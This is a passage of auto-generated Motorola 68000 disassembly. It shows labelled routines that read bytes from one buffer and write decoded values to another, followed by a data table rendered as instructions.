ADDQ #2,A1 ;668: 5449
LAB_0047:
LEA (EXT_0002).W,A2 ;66A: 45F803F2
MOVE.L A2,(A1) ;66E: 228A
MOVE.L LAB_000A(PC),-(A3) ;670: 273AFB90
EXT.L D5 ;674: 48C5
MOVE.L D5,-(A3) ;676: 2705
SUBQ #8,A2 ;678: 514A
SUBQ #1,A2 ;67A: 534A
MOVE.L A2,-(A3) ;67C: 270A
MOVE.L (A7)+,D2 ;67E: 241F
MOVEM.L (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;680: 4CDF7FDB
RTS ;684: 4E75
LAB_0048:
MOVE.B (A3)+,D0 ;686: 101B
EXT D0 ;688: 4880
MOVE.B LAB_004D(PC,D0.W),D0 ;68A: 103B005E
EXT D0 ;68E: 4880
JSR LAB_004D(PC,D0.W) ;690: 4EBB0058
BRA.S LAB_0048 ;694: 60F0
MOVE.L -8(A2),D0 ;696: 202AFFF8
SUB.L A4,D0 ;69A: 908C
MOVE D0,(A4)+ ;69C: 38C0
BRA.S LAB_004B ;69E: 602A
LAB_0049:
ANDI #$0007,D2 ;6A0: 02420007
ADDQ #1,D2 ;6A4: 5242
RTS ;6A6: 4E75
MOVEQ #0,D0 ;6A8: 7000
BRA.S LAB_004A ;6AA: 600C
BSR.S LAB_0049 ;6AC: 61F2
MOVE D2,D0 ;6AE: 3002
NEG D0 ;6B0: 4440
BRA.S LAB_004A ;6B2: 6004
BSR.S LAB_0049 ;6B4: 61EA
MOVE D2,D0 ;6B6: 3002
LAB_004A:
MOVE.L A4,-4(A2) ;6B8: 254CFFFC
MOVE D0,(A4)+ ;6BC: 38C0
RTS ;6BE: 4E75
BSR.S LAB_0050 ;6C0: 6168
LSL.B #4,D1 ;6C2: E909
MOVE.B D1,(A4)+ ;6C4: 18C1
MOVE.B D2,(A4) ;6C6: 1882
NEG.B (A4)+ ;6C8: 441C
LAB_004B:
ADDQ.L #4,A7 ;6CA: 588F
RTS ;6CC: 4E75
BSR.S LAB_0050 ;6CE: 615A
ROR #7,D1 ;6D0: EE59
LAB_004C:
BSR.S LAB_0051 ;6D2: 6160
OR D0,D1 ;6D4: 8240
MOVE D1,(A4)+ ;6D6: 38C1
RTS ;6D8: 4E75
BSR.S LAB_0050 ;6DA: 614E
BRA.S LAB_004C ;6DC: 60F4
BSR.S LAB_0050 ;6DE: 614A
ROR #7,D1 ;6E0: EE59
MOVE D1,D0 ;6E2: 3001
BSR.S LAB_0050 ;6E4: 6144
OR D0,D1 ;6E6: 8240
BRA.S LAB_004C ;6E8: 60E8
LAB_004D:
ASR -(A4) ;6EA: E0E4
DC.W $F0F4 ;6EC
MOVE.B (A4),D4 ;6EE: 1814
MOVE.L 7894(A2),D1 ;6F0: 222A1ED6
DC.W $ACB6 ;6F4
MOVEA (A2),A0 ;6F6: 3052
CMPA A2,A7 ;6F8: BECA
AND (A6)+,D1 ;6FA: C25E
MOVEQ #0,D1 ;6FC: 7200
MOVE.B (A3)+,(A4)+ ;6FE: 18DB
MOVE.B (A3)+,(A4)+ ;700: 18DB
MOVE.B (A3)+,(A4)+ ;702: 18DB
MOVE.B (A3)+,(A4)+ ;704: 18DB
RTS ;706: 4E75
ASR.B #1,D2 ;708: E202
EXT D2 ;70A: 4882
BSR.S LAB_0051 ;70C: 6126
ADD D2,D0 ;70E: D042
MOVE D0,(A4)+ ;710: 38C0
RTS ;712: 4E75
MOVE D2,(A4) ;714: 3882
NEG (A4)+ ;716: 445C
LAB_004E:
BRA.S LAB_004B ;718: 60B0
BSR.S LAB_0050 ;71A: 610E
BSR.S LAB_0051 ;71C: 6116
MOVE D0,(A4) ;71E: 3880
LSL #5,D2 ;720: EB4A
LAB_004F:
LSR #4,D2 ;722: E84A
OR.B D2,(A4)+ ;724: 851C
OR.B D1,(A4)+ ;726: 831C
BRA.S LAB_004B ;728: 60A0
LAB_0050:
MOVEQ #0,D1 ;72A: 7200
MOVE.B (A3)+,D1 ;72C: 121B
MOVE.B 0(A2,D1.W),D1 ;72E: 12321000
RTS ;732: 4E75
LAB_0051:
MOVE.B (A3)+,D0 ;734: 101B
LSL #8,D0 ;736: E148
MOVE.B (A3)+,D0 ;738: 101B
RTS ;73A: 4E75
LAB_0052:
TST.L -8(A2) ;73C: 4AAAFFF8
BNE.S LAB_0053 ;740: 6604
MOVE.L A4,-8(A2) ;742: 254CFFF8
LAB_0053:
RTS ;746: 4E75
BSR.S LAB_0052 ;748: 61F2
MOVE.B (A3)+,D0 ;74A: 101B
MOVE.B D0,(A4)+ ;74C: 18C0
MOVE.B 9(A2),(A4) ;74E: 18AA0009
BSET #4,(A4)+ ;752: 08DC0004
LAB_0054:
NOT.B D2 ;756: 4602
BEQ.S LAB_0054 ;758: 67FC
MOVE D2,(A4)+ ;75A: 38C2
MOVE.B (A3)+,D1 ;75C: 121B
EXT D1 ;75E: 4881
PEA 0(A3,D1.W) ;760: 48731000
LAB_0055:
MOVE.L (A7)+,(A5)+ ;764: 2ADF
MOVE D2,(A5)+ ;766: 3AC2
BRA.S LAB_004E ;768: 60AE
LAB_0056:
MOVE.L D4,-(A0) ;76A: 2104
DC.W $6803 ;76C
DC.W $144B ;76E
DC.W $6803 ;770
MOVEQ #-56,D1 ;772: 72C8
DC.W $0000 ;774
DC.W $2198 ;776
BTST D6,D0 ;778: 0D00
DC.W $6803 ;77A
BSR.S LAB_004F ;77C: 61A4
DC.W $0006 ;77E
DC.W $FFFF ;780
OR.B D0,D0 ;782: 8000
DC.W $FFFF ;784
OR.B D0,D0 ;786: 8000
ORI.B #$00,D0 ;788: 00000000
BTST D0,D0 ;78C: 0100
ORI.B #$00,D0 ;78E: 00000000
OR.B D0,D0 ;792: 8000
ORI.B #$00,D0 ;794: 00000000
ORI.B #$F8,D0 ;798: 000000F8
MOVE 0(A4),D0 ;79C: 302C0000
DC.W $0000 ;7A0
BVC.S LAB_0057 ;7A2: 6802
DC.W $7334 ;7A4
LAB_0057:
DC.W $6803 ;7A6
BRA.S LAB_0055 ;7A8: 60BA
DC.W $6803 ;7AA
SUBQ #8,(A4) ;7AC: 5154
DC.W $6803 ;7AE
BSR.S LAB_0054 ;7B0: 61A4
ORI.B #$00,D0 ;7B2: 00000000
ORI.B #$00,D0 ;7B6: 00000000
ORI.B #$00,D0 ;7BA: 00000000
ORI.B #$00,D0 ;7BE: 00000000
BVC.S LAB_0058 ;7C2: 6802
CLR.L (A0) ;7C4: 4290
LAB_0058:
ORI.B #$00,D0 ;7C6: 00000000
ORI.B #$00,D0 ;7CA: 00000000
ORI.B #$00,D0 ;7CE: 00000000
ORI.B #$00,D0 ;7D2: 00000000
ORI.B #$00,D0 ;7D6: 00000000
DC.W $0008 ;7DA
DC.W $6803 ;7DC
DC.W $5070 ;7DE
DC.W $6803 ;7E0
ST -(A4) ;7E2: 50E4
ORI.B #$00,D0 ;7E4: 00000000
DC.W $6803 ;7E8
ST -(A0) ;7EA: 50E0
END